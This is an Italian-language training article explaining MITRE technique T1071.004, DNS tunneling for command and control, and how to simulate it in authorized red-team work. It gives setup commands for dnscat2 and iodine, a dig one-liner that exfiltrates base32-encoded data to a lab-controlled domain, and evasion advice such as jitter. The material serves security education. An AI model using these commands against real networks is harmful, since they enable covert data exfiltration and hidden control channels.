Tunneling DNS: Application Layer Protocol - DNS (T1071.004)

La tecnica T1071.004 descrive l'abuso del protocollo Domain Name System come canale di comunicazione tra host compromessi e infrastruttura di comando e controllo. Rientra nella tattica TA0011 (Command and Control) e si colloca nelle fasi post-exploitation della kill chain, dove l'avversario ha già ottenuto esecuzione su almeno un endpoint e necessita di un canale stealth per impartire comandi ed esfiltrare risultati.

Il DNS è particolarmente attraente per gli attaccanti perché svolge una funzione amministrativa fondamentale nelle reti aziendali, è raramente bloccato dai firewall perimetrali e spesso viene consentito anche prima del completamento dell'autenticazione di rete. I record TXT, A, AAAA e OPT offrono ampio spazio per nascondere payload codificati in base32 o base64 all'interno di sottodomini o del corpo delle risposte. Il DNS beaconing con intervalli lunghi tra le query permette inoltre di dissimulare il traffico malevolo nel rumore di fondo delle risoluzioni legittime.

I numeri dell'ecosistema sono significativi: 11 gruppi APT documentati, 41 famiglie di malware che implementano DNS come canale C2, 1 campagna censita (Cutting Edge contro Ivanti Connect Secure) e 2 mitigazioni principali. La diffusione trasversale — da FIN7 finanziariamente motivato ai cluster cinesi come APT41 e Chimera, fino agli iraniani OilRig e APT39 — conferma che il tunneling DNS resta uno strumento di elezione per operazioni di lungo corso.

In un ingaggio red team autorizzato, la simulazione del tunneling DNS richiede infrastruttura dedicata: un dominio registrato, un name server autoritativo controllato dal team e un client sull'endpoint target. Prima di iniziare, delegare un sottodominio (es. c2.dominio-lab.tld) verso l'IP del server operatore configurando i record NS presso il registrar.

Gli strumenti open source di riferimento sono consolidati. dnscat2 (open source) offre un canale cifrato con handshake iniziale e supporta shell interattive: lato server si avvia con ruby dnscat2.rb c2.dominio-lab.tld, mentre il client compilato si connette specificando lo stesso dominio. Iodine (open source) è pensato per tunneling IP-over-DNS ed è utile per bypassare captive portal: il server si lancia con iodined -f 10.0.0.1 tunnel.dominio-lab.tld e il client con iodine tunnel.dominio-lab.tld. Per operazioni più realistiche, Cobalt Strike (a pagamento) e Sliver (open source) supportano listener DNS nativi con profili malleable per modellare la forma delle query. Mythic (open source) include profili DNS-based che permettono di variare TTL, tipi di record e cadenza di beaconing.

La catena tipica in un assessment: dopo l'initial access via phishing o exploit, il red teamer stabilisce un beacon HTTP primario e uno fallback DNS con intervalli di sleep elevati (300-3600 secondi) per resistere al takedown del canale principale. La codifica del payload avviene nel sottodominio (es. dGVzdHBheWxvYWQ.c2.dominio-lab.tld) per le richieste, mentre le risposte tornano in record TXT o codificate nei quattro ottetti di un record A.

Su Linux e macOS è possibile prototipare rapidamente esfiltrazioni banali con dig per verificare la reachability: dig TXT $(echo dati | base32 | tr -d '=').c2.dominio-lab.tld @8.8.8.8. Su ESXi, dove i binari sono limitati, script shell che invocano nslookup verso domini controllati simulano l'uso osservato in campagne reali contro appliance.

Per aumentare il realismo, alternare tipi di record nelle richieste, introdurre jitter casuale del ±30% sugli intervalli e frammentare payload superiori ai 63 byte (limite per label DNS) su più query sequenziali. Documentare sempre nel report gli IOC generati per facilitare il purple team.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.